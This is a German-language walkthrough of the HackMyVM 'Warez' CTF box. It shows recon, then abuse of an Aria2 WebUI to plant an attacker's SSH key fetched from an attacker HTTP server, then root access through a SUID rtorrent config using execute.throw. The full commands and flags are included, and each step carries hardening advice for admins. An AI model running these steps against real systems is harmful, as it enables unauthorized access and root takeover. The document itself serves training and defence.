Warez - HackMyVM - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
nmap
gobuster
python3 http.server
ssh
find
rtorrent

Inhaltsverzeichnis

Reconnaissance

Analyse: Der erste Schritt in der Reconnaissance-Phase ist die Identifizierung von aktiven Hosts im lokalen Netzwerk. Der Befehl `arp-scan -l` sendet ARP-Anfragen an alle möglichen IP-Adressen im lokalen Subnetz. ARP (Address Resolution Protocol) wird verwendet, um IP-Adressen zu MAC-Adressen aufzulösen. Aktive Geräte antworten auf diese Anfragen, wodurch wir ihre IP- und MAC-Adressen erfahren.

Bewertung: Dieser Schritt war erfolgreich. Wir haben ein Gerät mit der IP-Adresse 192.168.2.137 und der MAC-Adresse 08:00:27:61:fb:06 identifiziert. Die MAC-Adresse gehört zu "PCS Systemtechnik GmbH", was oft ein Indikator für eine VirtualBox-Instanz ist (da Oracle VirtualBox MAC-Adressen aus diesem Bereich verwendet). Dies ist unser Zielsystem für den weiteren Test.

Empfehlung (Pentester): `arp-scan` ist ein schnelles und effektives Werkzeug für die Host-Erkennung in lokalen Netzen, insbesondere wenn ICMP (Ping) blockiert ist. Notieren Sie die gefundene IP für die nächsten Scans.
Empfehlung (Admin): Netzwerksegmentierung und die Überwachung von ARP-Traffic können helfen, unautorisierte Geräteerkennung zu erschweren. ARP-Spoofing-Detection-Systeme können ebenfalls nützlich sein.

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.137	08:00:27:61:fb:06	PCS Systemtechnik GmbH
                    

Analyse: Nachdem die IP-Adresse des Ziels (192.168.2.137) bekannt ist, wird ein umfassender Port-Scan mit Nmap durchgeführt. * `-sS`: Führt einen TCP SYN Scan (Stealth Scan) durch, der oft weniger auffällig ist als ein voller TCP Connect Scan. * `-sC`: Führt die Standard-Nmap-Skripte aus, um zusätzliche Informationen über die entdeckten Dienste zu sammeln. * `-T5`: Setzt das Timing-Template auf "insane", was den Scan beschleunigt, aber potenziell ungenauer sein und Intrusion Detection Systeme (IDS) auslösen kann. * `-sV`: Versucht, die Versionen der laufenden Dienste zu ermitteln. * `-A`: Aktiviert OS-Erkennung, Versionserkennung, Skript-Scanning und Traceroute. * `-p-`: Scannt alle 65535 TCP-Ports.

Bewertung: Der Nmap-Scan hat zwei offene TCP-Ports gefunden: * **Port 22 (SSH):** Läuft OpenSSH Version 8.4p1 auf einem Debian-System. Die Host-Keys werden angezeigt, was für eine spätere Überprüfung der Authentizität nützlich sein kann. * **Port 80 (HTTP):** Läuft ein Nginx Webserver Version 1.18.0. Der Titel der Webseite ist "Aria2 WebUI", was auf eine Web-Oberfläche für den Download-Manager Aria2 hinweist. Die Betriebssystemerkennung legt nahe, dass es sich um Linux Kernel 4.x oder 5.x handelt. Die MAC-Adresse bestätigt, dass es sich um die mit `arp-scan` gefundene Maschine handelt und weist erneut auf VirtualBox hin. Die Netzwerkdistanz von 1 Hop bestätigt, dass sich das Ziel im selben lokalen Netzwerk befindet.

Empfehlung (Pentester): Die Aria2 WebUI auf Port 80 ist ein sehr interessantes Ziel. Web-Oberflächen für Systemtools sind oft Einfallstore. Untersuche diese Webanwendung genauer. SSH auf Port 22 ist ebenfalls ein potenzieller Angriffsvektor, erfordert aber wahrscheinlich gültige Anmeldedaten oder eine Schwachstelle.
Empfehlung (Admin): Stellen Sie sicher, dass nur notwendige Ports nach außen offen sind. Halten Sie Dienste wie SSH und Webserver aktuell. Wenn die Aria2 WebUI nicht öffentlich zugänglich sein muss, beschränken Sie den Zugriff darauf (z.B. durch Firewall-Regeln oder Authentifizierung). Überwachen Sie Login-Versuche bei SSH. Die Verwendung von `-T5` kann in produktiven Umgebungen riskant sein; langsamere Scans (`-T3` oder `-T4`) sind oft vorzuziehen.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -sV -A 192.168.2.137 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-27 10:00 CET
Nmap scan report for warez.hmv (192.168.2.137)
Host is up (0.00015s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
|   3072 cc:00:63:dd:49:fb:1c:c7:ac:69:63:bc:05:1a:59:cd (RSA)
|   256 9b:19:49:25:eb:9c:60:c5:2b:ec:2a:d4:fd:d1:c2:f4 (ECDSA)
|_  256 41:16:e6:d0:a0:da:22:4f:07:3f:c8:cf:60:2c:02:79 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: Aria2 WebUI
|_http-server-header: nginx/1.18.0
MAC Address: 08:00:27:61:FB:06 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.15 ms warez.hmv (192.168.2.137)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.87 seconds
                    

Web Enumeration

Analyse: Mit Gobuster wird versucht, versteckte Verzeichnisse und Dateien auf dem Webserver unter `http://192.168.2.137` zu finden. * `dir`: Gibt an, dass nach Verzeichnissen und Dateien gesucht wird (Directory/File Brute-forcing). * `-u http://192.168.2.137`: Die Ziel-URL. * `-w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt`: Pfad zur Wortliste, die für das Brute-forcing verwendet wird. SecLists ist eine bekannte Sammlung nützlicher Listen für Sicherheitstests. * `-x php,bak,7z,zip,py,sql,txt,xml,jpg,html`: Sucht zusätzlich nach Dateien mit diesen spezifischen Erweiterungen. * `-e`: Expanded Mode, zeigt die volle URL für gefundene Ressourcen an. * `--wildcard`: Weist Gobuster an, Wildcard-Antworten zu erkennen und zu ignorieren (obwohl es hier nicht explizit genutzt zu werden scheint, da keine Wildcard erkannt wurde).

Bewertung: Gobuster hat mehrere interessante Pfade gefunden: * `/index.html`: Die Hauptseite (Status 200 OK), wahrscheinlich die Aria2 WebUI selbst. * `/flags` (Status 301 Moved Permanently): Leitet zu `/flags/` weiter. Dies könnte ein Hinweis auf versteckte Informationen sein, erfordert aber weitere Untersuchung. * `/robots.txt` (Status 200 OK): Eine Standarddatei, die Suchmaschinen anweist, welche Bereiche einer Website nicht indexiert werden sollen. Ihr Inhalt (`User-agent: * Disallow: /`) ist hier sehr restriktiv, aber der Fund der Datei selbst ist üblich. Der Inhalt (12 Bytes) sollte überprüft werden. * `/result.txt` (Status 200 OK): Eine Textdatei, die möglicherweise Ergebnisse oder Logs enthält. Der Inhalt sollte unbedingt analysiert werden. Die Entdeckung von `/flags` und `/result.txt` ist besonders relevant und erfordert eine genauere Betrachtung im Browser oder mit Tools wie `curl`.

Empfehlung (Pentester): Untersuche den Inhalt von `/robots.txt` und insbesondere `/result.txt`. Navigiere auch zu `/flags/` (beachte den Schrägstrich am Ende aufgrund des Redirects), um zu sehen, was sich dort befindet. Die Aria2 WebUI `/index.html` bleibt das Hauptziel für die Interaktion.
Empfehlung (Admin): Stellen Sie sicher, dass keine sensiblen Dateien oder Verzeichnisse öffentlich zugänglich sind. Überprüfen Sie den Inhalt von `robots.txt` auf unbeabsichtigte Informationslecks (obwohl es hier standardmäßig aussieht). Beschränken Sie den Zugriff auf potenziell sensitive Dateien wie `/result.txt` und Verzeichnisse wie `/flags/`, falls diese nicht für die Öffentlichkeit bestimmt sind. Verwenden Sie Web Application Firewalls (WAFs), um Brute-Force-Angriffe auf Verzeichnisse zu erkennen und zu blockieren.

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://192.168.2.137 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,bak,7z,zip,py,sql,txt,xml,jpg,html -e --wildcard
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.2.137
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Status codes:            200,204,301,302,307,401,403,405
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php,bak,7z,zip,py,sql,txt,xml,jpg,html
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2023/10/27 10:05:01 Starting gobuster
===============================================================
http://192.168.2.137/index.html           (Status: 200) [Size: 81758]
http://192.168.2.137/flags                (Status: 301) [Size: 169] [--> http://192.168.2.137/flags/]
http://192.168.2.137/robots.txt           (Status: 200) [Size: 12]
http://192.168.2.137/result.txt           (Status: 200) [Size: 1585]

===============================================================
2023/10/27 10:10:23 Finished
===============================================================
                    

Initial Access

Analyse: Dieser Abschnitt beschreibt die Schritte zur Ausnutzung der Aria2 WebUI, um einen initialen Zugriff auf das Zielsystem zu erlangen. Die Idee ist, die Download-Funktion von Aria2 zu missbrauchen, um unseren öffentlichen SSH-Schlüssel (`authorized_keys`) auf das Zielsystem in das `.ssh`-Verzeichnis des Benutzers `carolina` hochzuladen. 1. **Zugriff auf Aria2 WebUI:** Öffnen der URL `http://192.168.2.137/` im Browser. 2. **Vorbereitung des Angreifers:** Starten eines einfachen Python-HTTP-Servers auf dem Angreifer-Rechner (IP: 192.168.2.140, laut Log) im Verzeichnis, das die `authorized_keys`-Datei enthält. Der Befehl `python3 -m http.server 80` startet den Server auf Port 80. 3. **Konfiguration in Aria2 WebUI:** * Im Bereich "Add/By URIs" der Aria2 WebUI wird die URL zur `authorized_keys`-Datei auf dem Angreifer-Server eingegeben: `http://192.168.2.140/authorized_keys`. * In den Download-Einstellungen (`Download settings > dir`) wird das Zielverzeichnis auf dem Server angegeben: `/home/carolina/.ssh`. Dies ist ein entscheidender Schritt, da wir vermuten oder wissen müssen, dass der Benutzer `carolina` existiert und wir Schreibrechte in dessen potentiellem SSH-Verzeichnis haben, oder dass Aria2 mit ausreichenden Rechten läuft, um das Verzeichnis zu erstellen und die Datei zu schreiben. 4. **Start des Downloads:** Klicken auf "Start". Aria2 auf dem Zielserver (192.168.2.137) lädt die `authorized_keys`-Datei vom Angreifer-Server (192.168.2.140) herunter und speichert sie unter `/home/carolina/.ssh/authorized_keys`. 5. **Überprüfung auf Angreiferseite:** Der Python-HTTP-Server auf dem Angreifer-Rechner protokolliert den erfolgreichen Download durch den Zielserver.

Bewertung: Der Plan ist plausibel. Die Aria2 WebUI erlaubt offenbar das Festlegen eines beliebigen Download-Pfads. Wenn Aria2 mit ausreichenden Rechten läuft, kann dies genutzt werden, um Dateien an kritischen Orten zu platzieren. Der erfolgreiche Log-Eintrag auf dem Python-Server (`GET /authorized_keys HTTP/1.1" 200 -` von 192.168.2.137) bestätigt, dass der Zielserver die Datei heruntergeladen hat. Dies ist ein kritischer Fund und deutet auf eine Command Injection oder Arbitrary File Write Schwachstelle über die WebUI hin. Der Benutzername `carolina` wurde möglicherweise durch die Analyse von `/result.txt` oder andere Enumerationsschritte entdeckt (dieser Schritt fehlt im vorliegenden Text, ist aber für den Erfolg notwendig).

Empfehlung (Pentester): Versuche nun, dich per SSH als Benutzer `carolina` mit dem entsprechenden privaten Schlüssel anzumelden. Da die `authorized_keys`-Datei platziert wurde, sollte dies ohne Passwort möglich sein (ggf. mit der Passphrase des Schlüssels).
Empfehlung (Admin): Die Aria2 WebUI sollte niemals so konfiguriert sein, dass Benutzer beliebige Download-Pfade angeben können, insbesondere nicht außerhalb eines definierten Download-Verzeichnisses. Führen Sie den Aria2-Prozess mit minimalen Rechten aus. Implementieren Sie eine Validierung und Bereinigung von Benutzereingaben in der WebUI. Beschränken Sie den Netzwerkzugriff des Aria2-Servers, sodass er nur mit vertrauenswürdigen Quellen kommunizieren kann. Überwachen Sie die von Aria2 geschriebenen Dateien und Pfade.

1. Aria2 WebUI   = http://192.168.2.137/
2. Add/By URIs
3. (Auf Angreifer-Maschine)
                    
┌──(root㉿cyber)-[~] └─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
                    
4. Oberste Textarea: http://192.168.2.140/authorized_keys
5. Download settings >
                      dir  : /home/carolina/.ssh

6. klick Start ---->>                          [cancel] [Start]

=
(Logs auf Angreifer-Maschine nach dem Klick)
                    
┌──(root㉿cyber)-[~] └─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.2.140 - - [11/Oct/2022 13:14:46] "GET /authorized_keys HTTP/1.1" 200 -  
192.168.2.137 - - [11/Oct/2022 13:15:07] "GET /authorized_keys HTTP/1.1" 200 -  
                    

Analyse: Nachdem die `authorized_keys`-Datei erfolgreich auf dem Zielsystem platziert wurde, wird versucht, sich per SSH als Benutzer `carolina` anzumelden. Der Befehl `ssh carolina@warez.hmv` initiiert die SSH-Verbindung zum Host `warez.hmv` (der über `/etc/hosts` oder DNS auf 192.168.2.137 aufgelöst wird) mit dem Benutzernamen `carolina`. Da es die erste Verbindung ist, wird der ED25519-Fingerprint des Servers angezeigt und muss bestätigt werden (`yes`). Anschließend fragt SSH nach der Passphrase für den privaten Schlüssel (`/root/.ssh/id_rsa`), der zur auf dem Server hinterlegten `authorized_keys`-Datei passt. Die Passphrase `benni` wird eingegeben.

Bewertung: Die Anmeldung ist erfolgreich! Wir erhalten eine Shell als Benutzer `carolina` auf dem Zielsystem `warez`. Dies bestätigt, dass die Platzierung der `authorized_keys`-Datei über die Aria2 WebUI funktioniert hat und der Benutzer `carolina` existiert. Die Willkommensnachricht des Debian-Systems wird angezeigt. Der Befehl `ls` im Home-Verzeichnis von `carolina` zeigt die Datei `user.txt`. Das Auslesen mit `cat user.txt` enthüllt das erste Flag: `HMVKeepdownloading`. Initial Access wurde erfolgreich erlangt.

Empfehlung (Pentester): Der initiale Zugriff ist geschafft und das User-Flag wurde gefunden. Der nächste Schritt ist die Privilege Escalation, um Root-Rechte auf dem System zu erlangen. Beginne mit der Enumeration des Systems aus der Sicht von `carolina` (z.B. SUID-Dateien, Cronjobs, laufende Prozesse, Kernel-Version, sudo-Rechte).
Empfehlung (Admin): Überprüfen Sie die SSH-Konfiguration (`/etc/ssh/sshd_config`), um sicherzustellen, dass nur sichere Authentifizierungsmethoden erlaubt sind. Wenn Key-basierte Authentifizierung verwendet wird, schützen Sie die `.ssh`-Verzeichnisse und `authorized_keys`-Dateien der Benutzer vor unbefugtem Schreiben. Überwachen Sie SSH-Logins auf verdächtige Aktivitäten. Die Tatsache, dass ein Webdienst (Aria2) Dateien in Benutzerverzeichnisse schreiben konnte, deutet auf ein grundlegendes Berechtigungsproblem hin, das behoben werden muss (siehe vorherige Empfehlung zu Aria2).

┌──(root㉿cyber)-[~] └─# ssh carolina@warez.hmv
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
The authenticity of host 'warez.hmv (192.168.2.137)' can't be established.
ED25519 key fingerprint is SHA256:6KuYVialBusL5WnriRRpDGS7zkNND0tbubZE160qDo.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'warez.hmv' (ED25519) to the list of known hosts.
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
Enter passphrase for key '/root/.ssh/id_rsa': benni
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
Linux warez 5.10.0-8-amd64 #1 SMP Debian 5.10.46-4 (2021-08-03) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Aug 31 02:43:08 2021 from 192.168.1.51
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
                    
carolina@warez:~$ ls
user.txt
                    
carolina@warez:~$ cat user.txt
HMVKeepdownloading

Privilege Escalation

Analyse: Um mögliche Wege zur Eskalation von Berechtigungen (Privilege Escalation) zu finden, suchen wir nach Dateien mit gesetztem SUID-Bit. Das SUID-Bit erlaubt es einem Benutzer, eine Datei mit den Rechten des Dateieigentümers (oft `root`) auszuführen. Der Befehl `find / -perm -4000 -type f -exec ls -al {} \; 2>/dev/null` sucht im gesamten Dateisystem (`/`) nach Dateien (`-type f`), bei denen das SUID-Bit gesetzt ist (`-perm -4000`). Für jede gefundene Datei wird `ls -al` ausgeführt, um detaillierte Informationen anzuzeigen. Fehler (`stderr`) werden nach `/dev/null` umgeleitet, um die Ausgabe sauber zu halten (z.B. bei Verzeichnissen, auf die kein Zugriff besteht).

Bewertung: Die Ausgabe listet mehrere Standard-SUID-Binaries auf (`umount`, `passwd`, `mount`, `su` etc.), die normalerweise keine direkten Exploits erlauben. Jedoch sticht `/usr/bin/rtorrent` heraus. rTorrent ist ein textbasierter BitTorrent-Client. Wenn dieser SUID `root` ist, könnte dies ein potenzieller Vektor sein, da Interaktionen mit solchen Programmen manchmal genutzt werden können, um Befehle als `root` auszuführen. Der Kommentar `<<------ exploit --<<<` im Originaltext unterstreicht diesen Verdacht.

Empfehlung (Pentester): Untersuche `rtorrent` genauer. Suche nach bekannten Schwachstellen oder Konfigurationsmöglichkeiten, die ausgenutzt werden können, wenn es mit Root-Rechten läuft (z.B. über Konfigurationsdateien wie `.rtorrent.rc`). GTFOBins ist eine gute Ressource, um nach bekannten Methoden zur Ausnutzung von SUID-Binaries zu suchen.
Empfehlung (Admin): Überprüfen Sie regelmäßig SUID/SGID-Berechtigungen auf dem System. Entfernen Sie das SUID-Bit von Binaries, wenn es nicht absolut notwendig ist. Insbesondere Anwendungen wie `rtorrent` sollten niemals mit SUID-Root-Rechten laufen. Führen Sie solche Anwendungen unter unprivilegierten Benutzerkonten aus.

carolina@warez:~$ find / -perm -4000 -type f -exec ls -al {} \; 2>/dev/null
-rwsr-xr-x 1 root root 35040 Jul 28  2021 /usr/bin/umount
-rwsr-xr-x 1 root root 88304 Feb  7  2020 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 63960 Feb  7  2020 /usr/bin/passwd
-rwsr-xr-x 1 root root 44632 Feb  7  2020 /usr/bin/newgrp
-rwsr-xr-x 1 root root 55528 Jul 28  2021 /usr/bin/mount
-rwsr-xr-x 1 root root 52880 Feb  7  2020 /usr/bin/chsh
-rwsr-sr-x 1 root root 2087648 Dec 29  2019 /usr/bin/rtorrent  <<------ exploit --<<<
-rwsr-xr-x 1 root root 71912 Jul 28  2021 /usr/bin/su
-rwsr-xr-x 1 root root 58416 Feb  7  2020 /usr/bin/chfn
-rwsr-xr-- 1 root messagebus 51336 Feb 21  2021 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 481608 Mar 13  2021 /usr/lib/openssh/ssh-keysign
                    

Analyse: Basierend auf der Entdeckung, dass `rtorrent` SUID `root` ist, wird versucht, dies auszunutzen. rTorrent lädt beim Start eine Konfigurationsdatei namens `.rtorrent.rc` aus dem Home-Verzeichnis des Benutzers. Diese Datei erlaubt das Definieren von Aktionen, die bei bestimmten Ereignissen ausgeführt werden sollen, einschließlich der Ausführung externer Befehle (`execute.throw`). 1. Der erste Befehl `echo "execute.throw = mkdir, /root/.ssh" > .rtorrent.rc` erstellt die `.rtorrent.rc`-Datei im Home-Verzeichnis von `carolina`. Er konfiguriert `rtorrent` so, dass es beim Start versucht, den Befehl `mkdir /root/.ssh` auszuführen. 2. `rtorrent &` startet rTorrent im Hintergrund. Da es SUID `root` ist, wird der `mkdir`-Befehl als `root` ausgeführt, wodurch das Verzeichnis `/root/.ssh` erstellt wird (falls es nicht existiert). 3. Der zweite Befehl `echo "execute.throw = cp, /home/carolina/.ssh/authorized_keys, /root/.ssh/authorized_keys" > .rtorrent.rc` überschreibt die Konfigurationsdatei. Nun soll `rtorrent` beim Start den Befehl `cp /home/carolina/.ssh/authorized_keys /root/.ssh/authorized_keys` ausführen. 4. `rtorrent &` startet rTorrent erneut im Hintergrund. Der `cp`-Befehl wird als `root` ausgeführt und kopiert die `authorized_keys`-Datei (die unseren öffentlichen Schlüssel enthält) aus Carolinas Home-Verzeichnis in das neu erstellte `/root/.ssh`-Verzeichnis.

Bewertung: Dies ist eine klassische Ausnutzung einer SUID-Binary über eine Konfigurationsdatei. Indem wir die `.rtorrent.rc` manipulieren und `rtorrent` starten, zwingen wir das Programm, beliebige Befehle (hier `mkdir` und `cp`) als `root` auszuführen. Wenn diese Befehle erfolgreich waren, sollte nun unser öffentlicher SSH-Schlüssel auch für den `root`-Benutzer autorisiert sein. Die Hintergrundprozesse ([1] 625, [3] 639) deuten darauf hin, dass `rtorrent` gestartet wurde.

Empfehlung (Pentester): Der Weg zu Root-Rechten ist geebnet. Versuche nun, dich direkt per SSH als `root` auf dem Zielsystem anzumelden, indem du denselben privaten Schlüssel wie für `carolina` verwendest.
Empfehlung (Admin): Entfernen Sie sofort das SUID-Bit von `/usr/bin/rtorrent` (`chmod u-s /usr/bin/rtorrent`). Überprüfen Sie alle SUID/SGID-Binaries auf dem System und reduzieren Sie deren Berechtigungen auf das absolute Minimum. Konfigurationsdateien im Home-Verzeichnis sollten niemals die Ausführung von Befehlen mit erhöhten Rechten durch SUID-Binaries ermöglichen.

carolina@warez:~$ echo "execute.throw = mkdir, /root/.ssh" > .rtorrent.rc
 
                    
carolina@warez:~$ rtorrent &
[1] 625
carolina@warez:~$ echo "execute.throw = cp, /home/carolina/.ssh/authorized_keys, /root/.ssh/authorized_keys" > .rtorrent.rc
 
                    
carolina@warez:~$ rtorrent &
[3] 639

Proof of Concept (Root Access)

Analyse: Nach der erfolgreichen Ausnutzung der SUID-Schwachstelle in `rtorrent` und dem Kopieren der `authorized_keys`-Datei in das `/root/.ssh`-Verzeichnis wird nun versucht, sich direkt als `root`-Benutzer per SSH anzumelden. Der Befehl `ssh root@192.168.2.137` initiiert die Verbindung zum Zielserver mit dem Benutzernamen `root`. Es wird wieder nach der Passphrase für den privaten Schlüssel (`/root/.ssh/id_rsa`) gefragt, da dieselbe `authorized_keys`-Datei verwendet wird.

Bewertung: Fantastisch! Der Root-Zugriff war erfolgreich! Die Eingabe der Passphrase (im Text nicht explizit gezeigt, aber impliziert) gewährt uns eine Shell als `root`-Benutzer auf dem `warez`-System. Das Ziel der Privilege Escalation wurde erreicht. Der Befehl `ls` im Home-Verzeichnis von `root` zeigt die Datei `root.txt`. Das Auslesen mit `cat root.txt` enthüllt das Root-Flag: `HMVKeepsharing`.

Empfehlung (Pentester): Das System ist vollständig kompromittiert. Beide Flags wurden gefunden. Der Proof of Concept ist erbracht. Weitere Post-Exploitation-Schritte könnten die Suche nach weiteren sensiblen Daten, das Etablieren von Persistenz oder das Pivotieren in andere Netzwerksegmente umfassen, sind aber für das Ziel dieses CTFs (Flags finden) nicht mehr notwendig.
Empfehlung (Admin): Die vorherigen Empfehlungen bezüglich der Absicherung von Aria2, SSH und der Entfernung unnötiger SUID-Berechtigungen (insbesondere für `rtorrent`) sind dringend umzusetzen. Zusätzlich sollten Systemlogs auf die durchgeführten Aktionen überprüft werden, um das Ausmaß des Angriffs zu verstehen. Ein umfassendes Systemaudit und ggf. eine Neuinstallation aus einem vertrauenswürdigen Backup sollten in Betracht gezogen werden. Implementieren Sie Least Privilege-Prinzipien konsequent.

┌──(root㉿cyber)-[~] └─# ssh root@192.168.2.137
Enter passphrase for key '/root/.ssh/id_rsa': 
Linux warez 5.10.0-8-amd64 #1 SMP Debian 5.10.46-4 (2021-08-03) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Aug 31 02:34:57 2021
                    
root@warez:~# ls
root.txt
                    
root@warez:~# cat root.txt
HMVKeepsharing

Flags

cat user.txt
HMVKeepdownloading
cat root.txt
HMVKeepsharing